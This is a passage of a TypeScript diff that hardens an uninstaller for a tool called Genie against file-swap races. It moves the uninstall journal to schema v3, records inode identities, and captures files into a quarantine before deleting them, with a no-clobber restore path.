z.number().int().nonnegative(), + }) + .strict(); + +export type PhysicalRootIdentity = z.infer; + +const provenV4RulesSchema = z + .object({ + path: absolutePathSchema, + digest: digestSchema, + identity: physicalRootIdentitySchema, + }) + .strict(); + +export type ProvenV4Rules = z.infer; + +const ownedSourceSymlinkSchema = z + .object({ + name: z.enum(['genie', 'term']), + target: z.string().min(1).max(4096), + identity: physicalRootIdentitySchema, + }) + .strict(); + +export type OwnedSourceSymlink = z.infer; const agentSnapshotIdentitySchema = z.discriminatedUnion('kind', [ z.object({ kind: z.literal('absent') }).strict(), @@ -122,7 +154,13 @@ const agentAssetIdentitySchema = z.discriminatedUnion('kind', [ manifestMode: physicalModeSchema, }) .strict(), - z.object({ kind: z.literal('link'), target: z.string().min(1).max(4096) }).strict(), + z + .object({ + kind: z.literal('link'), + target: z.string().min(1).max(4096), + identity: physicalRootIdentitySchema, + }) + .strict(), z .object({ kind: z.literal('agent'), @@ -168,12 +206,15 @@ const uninstallBatchScopeSchema = z agentAssets: z.array(agentAssetSchema).max(512), codexRoleAgents: z.array(codexRoleAgentSchema).max(128), codexRoleInventoryStatus: z.enum(['missing', 'valid', 'corrupt']), - genieHomePresent: z.boolean(), - ownedRulesPath: absolutePathSchema.nullable(), + genieHomeIdentity: physicalRootIdentitySchema.nullable(), + // SHA-256 commitment to the exact, exclusion-free physical snapshots of + // every removable GENIE_HOME child at authoritative planning time. + genieHomeRemovalDigest: digestSchema.nullable(), + ownedRules: provenV4RulesSchema.nullable(), removeMarketplace: z.boolean(), runtimeClients: z.object({ codex: z.boolean(), claude: z.boolean() }).strict(), runtimePlugins: z.object({ codex: z.boolean(), claude: z.boolean() }).strict(), - symlinks: z.array(z.enum(['genie', 'term'])).max(2), + symlinks: z.array(ownedSourceSymlinkSchema).max(2), }) .strict(); @@ -181,7 +222,7 @@ export type UninstallBatchScope = z.infer; const uninstallBatchDecisionSchema = z .object({ - schemaVersion: z.literal(2), + schemaVersion: z.literal(3), genieHome: absolutePathSchema, scope: uninstallBatchScopeSchema, progress: uninstallBatchProgressSchema, @@ -194,10 +235,11 @@ export type UninstallBatchDecision = z.infer; // --------------------------------------------------------------------------- -// v1 (legacy) read-only shape. An authentic v1 journal from a prior release is -// discarded and re-recorded as v2 from current live state (executeUninstallBatch); -// this schema exists only so that migration can authenticate it before discard, -// never to act on a v1 record. Unauthentic/corrupt journals still fail closed. +// Legacy read-only shapes. Authentic v1/v2 journals are discarded and +// re-recorded as v3 from current live state (executeUninstallBatch); these +// schemas exist only so migration can authenticate them before discard, never +// to act on stale pathname-only authority. Unauthentic/corrupt journals fail +// closed. // --------------------------------------------------------------------------- const uninstallBatchScopeSchemaV1 = z .object({ @@ -233,15 +275,44 @@ const uninstallBatchDecisionSchemaV1 = z type UninstallBatchDecisionV1 = z.infer; +const uninstallBatchScopeSchemaV2 = z + .object({ + agentAssets: z.array(agentAssetSchema).max(512), + codexRoleAgents: z.array(codexRoleAgentSchema).max(128), + codexRoleInventoryStatus: z.enum(['missing', 'valid', 'corrupt']), + genieHomePresent: z.boolean(), + ownedRulesPath: absolutePathSchema.nullable(), + removeMarketplace: z.boolean(), + runtimeClients: z.object({ codex: z.boolean(), claude: z.boolean() }).strict(), + runtimePlugins: z.object({ codex: z.boolean(), claude: z.boolean() }).strict(), + symlinks: z.array(z.enum(['genie', 'term'])).max(2), + }) + .strict(); +const uninstallBatchDecisionSchemaV2 = z + .object({ + schemaVersion: z.literal(2), + genieHome: absolutePathSchema, + scope: uninstallBatchScopeSchemaV2, + progress: uninstallBatchProgressSchema, + digest: digestSchema, + }) + .strict(); + +type UninstallBatchDecisionV2 = z.infer; + type UninstallBatchReadState = | { kind: 'none' } - | { kind: 'v2'; decision: UninstallBatchDecision } - | { kind: 'legacy-v1'; decision: UninstallBatchDecisionV1 }; + | { kind: 'v3'; decision: UninstallBatchDecision; journalIdentity: PhysicalRootIdentity } + | { kind: 'legacy-v2'; decision: UninstallBatchDecisionV2; journalIdentity: PhysicalRootIdentity } + | { kind: 'legacy-v1'; decision: UninstallBatchDecisionV1; journalIdentity: PhysicalRootIdentity }; -/** Thrown by {@link readUninstallBatchDecision} for an authentic v1 journal that must be migrated. */ +/** Thrown for an authentic legacy journal that must be safely re-planned. */ export class LegacyUninstallBatchJournalError extends Error { - constructor(readonly interruptedMember: string | null) { - super('uninstall batch journal is an authentic legacy v1 record awaiting migration'); + constructor( + readonly schemaVersion: 1 | 2, + readonly interruptedMember: string | null, + ) { + super(`uninstall batch journal is an authentic legacy v${schemaVersion} record awaiting migration`); this.name = 'LegacyUninstallBatchJournalError'; } } @@ -268,6 +339,33 @@ function lstatOrNull(path: string): Stats | null { } } +function physicalRootIdentity(stat: Stats): PhysicalRootIdentity { + return physicalRootIdentitySchema.parse({ dev: stat.dev, ino: stat.ino, mode: stat.mode }); +} + +function capturePhysicalRootIdentity(path: string): PhysicalRootIdentity | null { + const stat = lstatOrNull(path); + return stat === null ? null : physicalRootIdentity(stat); +} + +function samePhysicalRootIdentity(left: PhysicalRootIdentity | null, right: PhysicalRootIdentity | null): boolean { + return ( + left === right || + (left !== null && right !== null && left.dev === right.dev && left.ino === right.ino && left.mode === right.mode) + ); +} + +/** Capture only a removable root whose identity stays stable across classification. */ +function inspectRemovableGenieRoot(genieDir: string): PhysicalRootIdentity | null { + const before = capturePhysicalRootIdentity(genieDir); + const removable = hasRemovableGenieInstallState(genieDir); + const after = capturePhysicalRootIdentity(genieDir); + if (!samePhysicalRootIdentity(before, after)) { + throw new Error(`Genie install root changed while it was being inspected: ${genieDir}`); + } + return removable ? after : null; +} + function fsyncDirectoryBestEffort(path: string): void { try { const fd = openSync(path, 'r'); @@ -307,6 +405,9 @@ function uninstallBatchDigest(payload: object): string { } function assertExactUninstallScope(scope: UninstallBatchScope): void { + if ((scope.genieHomeIdentity === null) !== (scope.genieHomeRemovalDigest === null)) { + throw new Error('uninstall batch must bind Genie root identity and exact removal commitment together'); + } const assetPaths = scope.agentAssets.map((asset) => asset.path); if (new Set(assetPaths).size !== assetPaths.length) { throw new Error('uninstall batch journal contains duplicate agent-asset paths'); @@ -315,7 +416,8 @@ function assertExactUninstallScope(scope: UninstallBatchScope): void { if (new Set(roleNames).size !== roleNames.length) { throw new Error('uninstall batch journal contains duplicate Codex role-agent names'); } - if (new Set(scope.symlinks).size !== scope.symlinks.length) { + const symlinkNames = scope.symlinks.map((symlink) => symlink.name); + if (new Set(symlinkNames).size !== symlinkNames.length) { throw new Error('uninstall batch journal contains duplicate symlink names'); } } @@ -354,7 +456,7 @@ function authenticatedUninstallBatch(genieHome: string, scope: UninstallBatchSco const parsedScope = uninstallBatchScopeSchema.parse(scope); assertExactUninstallScope(parsedScope); const payload: UninstallBatchPayload = { - schemaVersion: 2, + schemaVersion: 3, genieHome: resolve(genieHome), scope: parsedScope, progress: { active: null, completed: [], preserved: [] }, @@ -411,18 +513,33 @@ function authenticateUninstallDigest(payload: object, digest: string, journalPat } /** - * Authenticate a parsed journal as v2 or a legacy v1 record. A v2 record is - * fully cross-checked; a v1 record is authenticated only enough to prove it is - * ours before migration discards it. Any other shape/digest fails closed. + * Authenticate a parsed journal as v3 or a legacy v1/v2 record. The current + * record is fully cross-checked; a legacy record is authenticated only enough + * to prove it is ours before migration discards its stale authority. */ -function authenticateUninstallBatch(parsed: unknown, genieHome: string, journalPath: string): UninstallBatchReadState { - const v2 = uninstallBatchDecisionSchema.safeParse(parsed); - if (v2.success && v2.data.genieHome === resolve(genieHome)) { - const decision = v2.data; +function authenticateUninstallBatch( + parsed: unknown, + genieHome: string, + journalPath: string, + journalIdentity: PhysicalRootIdentity, +): UninstallBatchReadState { + const v3 = uninstallBatchDecisionSchema.safeParse(parsed); + if (v3.success && v3.data.genieHome === resolve(genieHome)) { + const decision = v3.data; assertExactUninstallScope(decision.scope); assertExactUninstallProgress(decision.progress, decision.scope, decision.genieHome); authenticateUninstallDigest(uninstallBatchPayload(decision), decision.digest, journalPath); - return { kind: 'v2', decision }; + return { kind: 'v3', decision, journalIdentity }; + } + const v2 = uninstallBatchDecisionSchemaV2.safeParse(parsed); + if (v2.success && v2.data.genieHome === resolve(genieHome)) { + const decision = v2.data; + authenticateUninstallDigest( + { schemaVersion: 2, genieHome: decision.genieHome, scope: decision.scope, progress: decision.progress }, + decision.digest, + journalPath, + ); + return { kind: 'legacy-v2', decision, journalIdentity }; } const v1 = uninstallBatchDecisionSchemaV1.safeParse(parsed); if (v1.success && v1.data.genieHome === resolve(genieHome)) { @@ -434,7 +551,7 @@ function authenticateUninstallBatch(parsed: unknown, genieHome: string, journalP decision.digest, journalPath, ); - return { kind: 'legacy-v1', decision }; + return { kind: 'legacy-v1', decision, journalIdentity }; } throw new Error('uninstall batch journal has an invalid schema or target'); } @@ -455,7 +572,12 @@ function readUninstallBatchState(genieHome: string): UninstallBatchReadState { } assertPrivateRecoveryObject(journalPath, stat, 'uninstall batch journal'); try { - return authenticateUninstallBatch(JSON.parse(readFileSync(journalPath, 'utf8')), genieHome, journalPath); + const bytes = readFileSync(journalPath, 'utf8'); + const after = lstatSync(journalPath); + if (!samePhysicalRootIdentity(physicalRootIdentity(stat), physicalRootIdentity(after))) { + throw new Error(`uninstall batch journal changed while it was authenticated: ${journalPath}`); + } + return authenticateUninstallBatch(JSON.parse(bytes), genieHome, journalPath, physicalRootIdentity(after)); } catch (error) { if (error instanceof SyntaxError) throw new Error(`uninstall batch journal is unreadable: ${journalPath}`); throw error; @@ -464,13 +586,15 @@ function readUninstallBatchState(genieHome: string): UninstallBatchReadState { /** * Read and authenticate a durable uninstall decision without mutating it. An - * authentic legacy v1 journal raises {@link LegacyUninstallBatchJournalError} + * authentic legacy journal raises {@link LegacyUninstallBatchJournalError} * so the caller can migrate it; unauthentic/corrupt journals still throw. */ export function readUninstallBatchDecision(genieHome = getGenieDir()): UninstallBatchDecision | null { const state = readUninstallBatchState(genieHome); if (state.kind === 'none') return null; - if (state.kind === 'legacy-v1') throw new LegacyUninstallBatchJournalError(state.decision.progress.active); + if (state.kind === 'legacy-v1' || state.kind === 'legacy-v2') { + throw new LegacyUninstallBatchJournalError(state.decision.schemaVersion, state.decision.progress.active); + } return state.decision; } @@ -484,14 +608,44 @@ export function pendingUninstallBatchInterruptedMember(genieHome = getGenieDir() } } -/** Re-authenticate the exact v1 journal, then discard it so a fresh v2 decision can be recorded. */ -function discardLegacyUninstallBatchDecision(genieHome: string): void { +/** Re-authenticate the exact legacy journal, then discard it so a fresh v3 decision can be recorded. */ +export interface UninstallJournalMutationOptions { + beforeCapture?: (journalPath: string) => void; + afterCapture?: (journalPath: string, capturedPath: string) => void; +} + +function authenticateCapturedJournal( + capture: CapturedRemovalPath, + genieHome: string, + expectedKind: UninstallBatchReadState['kind'], + expectedDigest: string, +): void { + assertCapturedRemovalPath(capture); + const parsed = JSON.parse(readFileSync(capture.capturedPath, 'utf8')) as unknown; + const state = authenticateUninstallBatch(parsed, genieHome, capture.capturedPath, capture.capturedIdentity); + if (state.kind !== expectedKind || state.kind === 'none' || state.decision.digest !== expectedDigest) { + throw new Error(`captured uninstall journal is not the exact authenticated generation: ${capture.capturedPath}`); + } +} + +export function discardLegacyUninstallBatchDecision( + genieHome: string, + options: UninstallJournalMutationOptions = {}, +): void { const state = readUninstallBatchState(genieHome); - if (state.kind !== 'legacy-v1') { - throw new Error('uninstall batch journal is no longer an authentic legacy v1 record'); + if (state.kind !== 'legacy-v1' && state.kind !== 'legacy-v2') { + throw new Error('uninstall batch journal is no longer an authentic legacy record'); } const journalPath = uninstallBatchJournalPath(genieHome); - unlinkSync(journalPath); + const capture = captureExpectedRemovalPath( + journalPath, + state.journalIdentity, + 'journal-discard', + options.beforeCapture, + ); + options.afterCapture?.(journalPath, capture.capturedPath); + authenticateCapturedJournal(capture, genieHome, state.kind, state.decision.digest); + deleteCapturedRemovalPath(capture); fsyncDirectoryBestEffort(dirname(journalPath)); } @@ -599,10 +753,10 @@ function uninstallBatchMembers(scope: UninstallBatchScope, genieHome: string): S ); const agentMember = flatAgentBatchMember(scope); if (agentMember !== null) members.add(agentMember); - if (scope.ownedRulesPath !== null) members.add(uninstallBatchMemberId('rules', scope.ownedRulesPath)); + if (scope.ownedRules !== null) members.add(uninstallBatchMemberId('rules', scope.ownedRules.path)); if (hasRuntimeIntegrationWork(scope)) members.add(uninstallBatchRuntimeMemberId(scope)); - if (scope.genieHomePresent) members.add(uninstallBatchMemberId('home', resolve(genieHome))); - for (const name of scope.symlinks) members.add(uninstallBatchMemberId('symlink', name)); + if (scope.genieHomeIdentity !== null) members.add(uninstallBatchMemberId('home', resolve(genieHome))); + for (const symlink of scope.symlinks) members.add(uninstallBatchMemberId('symlink', symlink.name)); return members; } @@ -611,9 +765,11 @@ export function updateUninstallBatchProgress( genieHome: string, expectedDigest: string, progress: UninstallBatchDecision['progress'], + options: UninstallJournalMutationOptions = {}, ): UninstallBatchDecision { - const current = readUninstallBatchDecision(genieHome); - if (current === null) throw new Error('uninstall batch journal disappeared during progress update'); + const currentState = readUninstallBatchState(genieHome); + if (currentState.kind !== 'v3') throw new Error('uninstall batch journal disappeared during progress update'); + const current = currentState.decision; if (current.digest !== expectedDigest) throw new Error('uninstall batch journal changed during progress update'); const parsedProgress = uninstallBatchProgressSchema.parse(progress); assertExactUninstallProgress(parsedProgress, current.scope, current.genieHome); @@ -630,12 +786,27 @@ export function updateUninstallBatchProgress( } finally { closeSync(fd); } - renameSync(staging, journalPath); + const capture = captureExpectedRemovalPath( + journalPath, + currentState.journalIdentity, + 'journal-progress', + options.beforeCapture, + ); + options.afterCapture?.(journalPath, capture.capturedPath); + authenticateCapturedJournal(capture, genieHome, 'v3', expectedDigest); + try { + linkSync(staging, journalPath); + } catch { + restoreCapturedNoClobber(capture, 'uninstall journal publication raced with another live generation'); + } fsyncDirectoryBestEffort(recoveryRoot); const published = readUninstallBatchDecision(genieHome); if (published === null || published.digest !== next.digest) { - throw new Error('uninstall batch progress generation was not published intact'); + throw new Error( + `uninstall batch progress generation was not published intact; prior generation at ${capture.capturedPath}`, + ); } + deleteCapturedRemovalPath(capture, false); return published; } finally { rmSync(staging, { force: true }); @@ -644,29 +815,195 @@ export function updateUninstallBatchProgress( } /** Authenticate and remove only the exact completed batch as the final step. */ -export function clearUninstallBatchDecision(genieHome: string, expectedDigest: string): void { - const decision = readUninstallBatchDecision(genieHome); - if (decision === null) throw new Error('uninstall batch journal disappeared before finalization'); +export function clearUninstallBatchDecision( + genieHome: string, + expectedDigest: string, + options: UninstallJournalMutationOptions = {}, +): void { + const state = readUninstallBatchState(genieHome); + if (state.kind !== 'v3') throw new Error('uninstall batch journal disappeared before finalization'); + const decision = state.decision; if (decision.digest !== expectedDigest) throw new Error('uninstall batch journal changed before finalization'); const journalPath = uninstallBatchJournalPath(genieHome); - unlinkSync(journalPath); + const capture = captureExpectedRemovalPath( + journalPath, + state.journalIdentity, + 'journal-clear', + options.beforeCapture, + ); + options.afterCapture?.(journalPath, capture.capturedPath); + authenticateCapturedJournal(capture, genieHome, 'v3', expectedDigest); + deleteCapturedRemovalPath(capture); fsyncDirectoryBestEffort(dirname(journalPath)); } /** Prove a named link resolves to the corresponding canonical Genie binary, including dangling links. */ export function isGenieSymlink(path: string, genieDir = getGenieDir()): boolean { try { - const stat = lstatSync(path); - if (!stat.isSymbolicLink()) return false; - const name = path.slice(path.lastIndexOf(sep) + 1); - if (!SYMLINKS.some((candidate) => candidate === name)) return false; - const resolvedTarget = resolve(dirname(path), readlinkSync(path)); - return resolvedTarget === resolve(genieDir, 'bin', name); + return ownedSourceSymlink(path, genieDir) !== null; } catch { return false; } } +interface CapturedRemovalPath { + sourcePath: string; + quarantineRoot: string; + quarantineIdentity: PhysicalRootIdentity; + capturedPath: string; + capturedIdentity: PhysicalRootIdentity; +} + +class UninstallIdentityMismatchError extends Error { + constructor(message: string) { + super(message); + this.name = 'UninstallIdentityMismatchError'; + } +} + +function createRemovalQuarantine( + sourcePath: string, + label: string, +): { + root: string; + identity: PhysicalRootIdentity; +} { + const parent = dirname(sourcePath); + for (let attempt = 0; attempt < 16; attempt += 1) { + const root = join(parent, `.genie-uninstall-${label}-${process.pid}-${randomBytes(12).toString('hex')}`); + try { + mkdirSync(root, { mode: 0o700 }); + const stat = lstatSync(root); + if (!stat.isDirectory() || stat.isSymbolicLink()) { + throw new Error(`uninstall quarantine is not a physical directory: ${root}`); + } + assertPrivateRecoveryObject(root, stat, 'uninstall quarantine'); + return { root, identity: physicalRootIdentity(stat) }; + } catch (error) { + if (isNodeErrorCode(error, 'EEXIST')) continue; + throw error; + } + } + throw new Error(`could not allocate an exclusive uninstall quarantine beside ${sourcePath}`); +} + +function assertCapturedRemovalPath(capture: CapturedRemovalPath): void { + const quarantineIdentity = capturePhysicalRootIdentity(capture.quarantineRoot); + const capturedIdentity = capturePhysicalRootIdentity(capture.capturedPath); + if (!samePhysicalRootIdentity(quarantineIdentity, capture.quarantineIdentity)) { + throw new Error(`uninstall quarantine identity changed; preserved it for recovery: ${capture.quarantineRoot}`); + } + if (!samePhysicalRootIdentity(capturedIdentity, capture.capturedIdentity)) { + throw new Error(`captured uninstall object identity changed; preserved quarantine: ${capture.quarantineRoot}`); + } +} + +function removeEmptyQuarantineBestEffort(capture: Pick): void { + try { + rmdirSync(capture.quarantineRoot); + fsyncDirectoryBestEffort(dirname(capture.quarantineRoot)); + } catch { + // A non-empty or concurrently changed quarantine is recovery evidence. + } +} + +function restoreCapturedNoClobber(capture: CapturedRemovalPath, reason: string): never { + let disposition = `preserved replacement visibly in quarantine: ${capture.capturedPath}`; + try { + assertCapturedRemovalPath(capture); + // link(2) is an atomic no-clobber publication for both regular files and + // symlink inodes. Never use rename here: POSIX rename would overwrite a + // concurrent user object at the live pathname. + linkSync(capture.capturedPath, capture.sourcePath); + unlinkSync(capture.capturedPath); + fsyncDirectoryBestEffort(dirname(capture.sourcePath)); + removeEmptyQuarantineBestEffort(capture); + disposition = `restored captured replacement without clobbering ${capture.sourcePath}`; + } catch (error) { + if (!isNodeErrorCode(error, 'EEXIST')) { + disposition += ` (automatic no-clobber restore failed: ${errorMessage(error)})`; + } + } + throw new UninstallIdentityMismatchError(`${reason}; ${disposition}`); +} + +function captureExpectedRemovalPath( + sourcePath: string, + expectedIdentity: PhysicalRootIdentity, + label: string, + beforeCapture?: (path: string) => void, +): CapturedRemovalPath { + const before = capturePhysicalRootIdentity(sourcePath); + if (!samePhysicalRootIdentity(before, expectedIdentity)) { + throw new UninstallIdentityMismatchError( + `recorded uninstall object identity changed before capture: ${sourcePath}`, + ); + } + const quarantine = createRemovalQuarantine(sourcePath, label); + const capturedPath = join(quarantine.root, 'captured'); + try { + beforeCapture?.(sourcePath); + renameSync(sourcePath, capturedPath); + } catch (error) { + removeEmptyQuarantineBestEffort({ quarantineRoot: quarantine.root }); + throw error; + } + const capturedIdentity = capturePhysicalRootIdentity(capturedPath); + if (capturedIdentity === null) { + throw new Error(`captured uninstall object disappeared; preserved quarantine: ${quarantine.root}`); + } + const capture: CapturedRemovalPath = { + sourcePath, + quarantineRoot: quarantine.root, + quarantineIdentity: quarantine.identity, + capturedPath, + capturedIdentity, + }; + if (!samePhysicalRootIdentity(capturedIdentity, expectedIdentity)) { + restoreCapturedNoClobber( + capture, + `live uninstall object was replaced at the atomic capture boundary: ${sourcePath}`, + ); + } + return capture; +} + +function deleteCapturedRemovalPath(capture: CapturedRemovalPath, requireSourceAbsent = true): void { + assertCapturedRemovalPath(capture); + if (requireSourceAbsent && lstatOrNull(capture.sourcePath) !== null) { + restoreCapturedNoClobber( + capture, + `a replacement appeared at the live path after atomic capture: ${capture.sourcePath}`, + ); + } + unlinkSync(capture.capturedPath); + fsyncDirectoryBestEffort(capture.quarantineRoot); + removeEmptyQuarantineBestEffort(capture); +} + +function ownedSourceSymlink(path: string, genieDir: string): OwnedSourceSymlink | null { + const before = lstatOrNull(path); + if (before === null || !before.isSymbolicLink()) return null; + const name = basename(path); + if (!SYMLINKS.some((candidate) => candidate === name)) return null; + const target = readlinkSync(path); + const after = lstatOrNull(path); + if (!samePhysicalRootIdentity(physicalRootIdentity(before), after === null ? null : physicalRootIdentity(after))) { + throw new Error(`source-install symlink changed while it was inspected: ${path}`); + } + if (resolve(dirname(path), target) !== resolve(genieDir, 'bin', name)) return null; + return { + name: name as OwnedSourceSymlink['name'], + target, + identity: physicalRootIdentity(after as Stats), + }; +} + +export interface SourceSymlinkRemovalOptions { + planned?: ReadonlyMap; + beforeCapture?: (path: string) => void; +} + /** * Remove genie symlinks from ~/.local/bin */ @@ -674,23 +1011,52 @@ export function removeSymlinks( localBin = LOCAL_BIN, genieDir = getGenieDir(), plannedNames: readonly (typeof SYMLINKS)[number][] = SYMLINKS, -): { removed: string[]; failures: Array<{ path: string; detail: string }> } { + options: SourceSymlinkRemovalOptions = {}, +): { removed: string[]; preserved: string[]; failures: Array<{ path: string; detail: string }> } { const removed: string[] = []; + const preserved: string[] = []; const failures: Array<{ path: string; detail: string }> = []; for (const name of plannedNames) { const symlinkPath = join(localBin, name); - if (isGenieSymlink(symlinkPath, genieDir)) { - try { - unlinkSync(symlinkPath); - removed.push(name); - } catch (error) { - failures.push({ path: symlinkPath, detail: error instanceof Error ? error.message : String(error) }); + try { + const planned = options.planned?.get(name); + const live = ownedSourceSymlink(symlinkPath, genieDir); + if (live === null) { + if (planned !== undefined && lstatOrNull(symlinkPath) !== null) { + throw new UninstallIdentityMismatchError( + `recorded source-install symlink was replaced before capture: ${symlinkPath}`, + ); + } + continue; } + if ( + planned !== undefined && + (planned.target !== live.target || !samePhysicalRootIdentity(planned.identity, live.identity)) + ) { + throw new UninstallIdentityMismatchError( + `recorded source-install symlink identity changed before capture: ${symlinkPath}`, + ); + } + const capture = captureExpectedRemovalPath( + symlinkPath, + planned?.identity ?? live.identity, + 'source-link', + options.beforeCapture, + ); + const capturedTarget = readlinkSync(capture.capturedPath); + if (!lstatSync(capture.capturedPath).isSymbolicLink() || capturedTarget !== (planned?.target ?? live.target)) { + restoreCapturedNoClobber(capture, `captured source-install link content changed: ${symlinkPath}`); + } + deleteCapturedRemovalPath(capture); + removed.push(name); + } catch (error) { + if (error instanceof UninstallIdentityMismatchError) preserved.push(name); + failures.push({ path: symlinkPath, detail: error instanceof Error ? error.message : String(error) }); } } - return { removed, failures }; + return { removed, preserved, failures }; } // ============================================================================ @@ -725,8 +1091,52 @@ function directoryHasMatchingEntry(path: string, matches: (name: string) => bool } } +const REMOVAL_QUARANTINE_PREFIX = '.genie-uninstall-'; + +function retainedRemovalQuarantines(targets: AgentSyncRemovalTargets = {}): string[] { + const claudeDir = targets.claudeDir ?? resolveClaudeDir(); + const hermesHome = targets.hermesHome ?? resolveHermesHome(); + const genieHome = targets.genieHome ?? resolveGenieHome(); + const genieCaptureParent = dirname(genieHome); + const genieCapturePrefix = `.${basename(genieHome)}.uninstall-capture-`; + const parents = new Set([ + LOCAL_BIN, + join(claudeDir, 'rules'), + join(hermesHome, 'plugins'), + dirname(uninstallBatchJournalPath(genieHome)), + genieCaptureParent, + ]); + try { + for (const profile of readdirSync(join(hermesHome, 'profiles'), { withFileTypes: true })) { + if (profile.isDirectory() && !profile.isSymbolicLink()) { + parents.add(join(hermesHome, 'profiles', profile.name, 'plugins')); + } + } + } catch { + // Missing profiles are normal; unreadable parents are surfaced elsewhere. + } + const retained: string[] = []; + for (const parent of parents) { + try { + for (const name of readdirSync(parent)) { + if ( + name.startsWith(REMOVAL_QUARANTINE_PREFIX) || + (resolve(parent) === resolve(genieCaptureParent) && name.startsWith(genieCapturePrefix)) + ) { + retained.push(join(parent, name)); + } + } + } catch { + // A missing parent has no retained capture. Existing unreadable ownership + // roots are caught by their authoritative inspectors. + } + } + return retained.sort(); +} + /** Pure pending-transaction evidence for the pre-confirmation preview. */ export function hasPendingUninstallTransactions(targets: AgentSyncRemovalTargets = {}): boolean { + if (retainedRemovalQuarantines(targets).length > 0) return true; const claudeDir = targets.claudeDir ?? resolveClaudeDir(); const codexDir = targets.codexDir ?? resolveCodexDir(); const skillParents = [ @@ -825,6 +1235,10 @@ export function recoverUninstallTransactions(targets: AgentSyncRemovalTargets = } } failures.push(...unresolvedTransactionConflictFailures(claudeDir, codexDir, agentsSkillsDir)); + const retained = retainedRemovalQuarantines(targets); + if (retained.length > 0) { + failures.push(`retained uninstall capture requires no-clobber recovery review: ${retained.join(', ')}`); + } if (failures.length > 0) throw new Error(failures.join('; ')); } @@ -923,9 +1337,13 @@ function agentIdentityMatches(expected: AgentAssetIdentity, asset: AgentSyncAsse } /** Collect only flat Claude-agent names explicitly owned by the shared per-file manifest. */ -function collectManagedAgentFiles(parent: string, out: AgentSyncAsset[], restrictToPaths?: ReadonlySet): void { - const manifest = readAgentFilesManifest(parent); - if (manifest === null) return; +function collectManagedAgentFiles( + parent: string, + manifest: AgentFilesManifestView, + out: AgentSyncAsset[], + restrictToPaths?: ReadonlySet, +): void { + if (manifest.kind !== 'managed') return; for (const [name, entry] of Object.entries(manifest.files).sort(([left], [right]) => left.localeCompare(right))) { const path = join(parent, name); if (restrictToPaths !== undefined && !restrictToPaths.has(resolve(path))) continue; @@ -1011,12 +1429,21 @@ function collectHermesLinkPath( if (!stat.isSymbolicLink()) return; try { const target = readlinkSync(linkPath); + const after = lstatSync(linkPath); + if (!after.isSymbolicLink() || !samePhysicalRootIdentity(physicalRootIdentity(stat), physicalRootIdentity(after))) { + return; + } const resolved = resolve(dirname(linkPath), target); const home = resolve(genieHome); // Record the raw link target as identity so removal re-verifies the exact // pointer before unlinking a symlink the user may have repointed since. if (isSameOrContainedPath(home, resolved)) { - out.push({ agent: 'hermes', kind: 'link', path: linkPath, identity: { kind: 'link', target } }); + out.push({ + agent: 'hermes', + kind: 'link', + path: linkPath, + identity: { kind: 'link', target, identity: physicalRootIdentity(after) }, + }); } } catch { /* unreadable symlink → leave it */ @@ -1057,13 +1484,27 @@ export function collectAgentSyncAssets( targets: AgentSyncRemovalTargets = {}, restrictToPaths?: ReadonlySet, ): AgentSyncAsset[] { + return inspectAgentSyncAssets(targets, restrictToPaths).assets; +} + +export interface AgentSyncAssetInspection { + assets: AgentSyncAsset[]; + claudeAgentManifest: AgentFilesManifestView; +} + +/** Preserve strict manifest state alongside the asset list for fail-closed callers. */ +export function inspectAgentSyncAssets( + targets: AgentSyncRemovalTargets = {}, + restrictToPaths?: ReadonlySet, +): AgentSyncAssetInspection { const claudeDir = targets.claudeDir ?? resolveClaudeDir(); const codexDir = targets.codexDir ?? resolveCodexDir(); const hermesHome = targets.hermesHome ?? resolveHermesHome(); const genieHome = targets.genieHome ?? resolveGenieHome(); const out: AgentSyncAsset[] = []; + const claudeAgentManifest = readAgentFilesManifestState(join(claudeDir, 'agents')); collectManagedSkillDirs(join(claudeDir, 'skills'), 'claude', out, restrictToPaths); - collectManagedAgentFiles(join(claudeDir, 'agents'), out, restrictToPaths); + collectManagedAgentFiles(join(claudeDir, 'agents'), claudeAgentManifest, out, restrictToPaths); // Live codex tier + the retired `.curated` lane (machines that never synced // post-migration still carry managed dirs there). Manifest-gated either way — // unmanaged siblings in the shared ~/.agents/skills tier are invisible. @@ -1071,7 +1512,7 @@ export function collectAgentSyncAssets( collectManagedSkillDirs(codexLegacyCuratedDir(codexDir), 'codex', out, restrictToPaths); collectManagedCouncil(claudeDir, out, restrictToPaths); collectHermesLinks(hermesHome, genieHome, out, restrictToPaths); - return out; + return { assets: out, claudeAgentManifest }; } export interface AgentSyncRemovalResult { @@ -1092,6 +1533,8 @@ export interface AgentSyncRemovalResult { export interface AgentSyncRemovalOptions { beforeManagedDirRemoval?: (destDir: string, stage: 'before-park' | 'before-delete') => void; beforeWorkflowRemoval?: (stage: 'before-park' | 'before-delete') => void; + /** Deterministic boundary after a Hermes link is proven and before atomic capture. */ + beforeManagedLinkCapture?: (path: string) => void; /** * Durable uninstall-batch allowlist with the recorded identity per planned path. * Membership filters which assets are candidates; identity binds removal so a @@ -1174,9 +1617,16 @@ function removeAgentSyncAssetsLocked( // paths. The resulting membership is identical to collecting everything then // filtering, but a per-member batch call no longer digests every sibling. const restrictToPaths = plannedByPath === null ? undefined : new Set(plannedByPath.keys()); - const assets = collectAgentSyncAssets(targets, restrictToPaths).filter( - (asset) => plannedByPath === null || plannedByPath.has(resolve(asset.path)), - ); + const inspection = inspectAgentSyncAssets(targets, restrictToPaths); + if (inspection.claudeAgentManifest.kind === 'unsafe') { + const manifestPath = join(targets.claudeDir ?? resolveClaudeDir(), 'agents', MANIFEST_NAME); + result.failures.push({ + path: manifestPath, + detail: `Claude agent ownership manifest is unsafe: ${inspection.claudeAgentManifest.reason}`, + }); + return result; + } + const assets = inspection.assets.filter((asset) => plannedByPath === null || plannedByPath.has(resolve(asset.path))); removeCollectedAgentAssets(assets, targets, options, plannedByPath, result); return result; } @@ -1194,9 +1644,15 @@ function recordAgentAssetDisposition( if (disposition === 'kept-identity-mismatch') result.identityMismatch.push(path); } -/** Re-verify a recorded hermes link still points where the batch recorded before unlinking it. */ -function removeManagedLink(linkPath: string, expectedTarget: string | undefined, result: AgentSyncRemovalResult): void { +/** Atomically capture and remove only the exact recorded Hermes link inode. */ +function removeManagedLink( + linkPath: string, + expected: Extract | undefined, + result: AgentSyncRemovalResult, + beforeCapture?: (path: string) => void, +): void { let liveTarget: string; + let liveIdentity: PhysicalRootIdentity; try { const stat = lstatSync(linkPath); if (!stat.isSymbolicLink()) { @@ -1205,18 +1661,33 @@ function removeManagedLink(linkPath: string, expectedTarget: string | undefined, result.identityMismatch.push(linkPath); return; } + liveIdentity = physicalRootIdentity(stat); liveTarget = readlinkSync(linkPath); } catch (error) { // 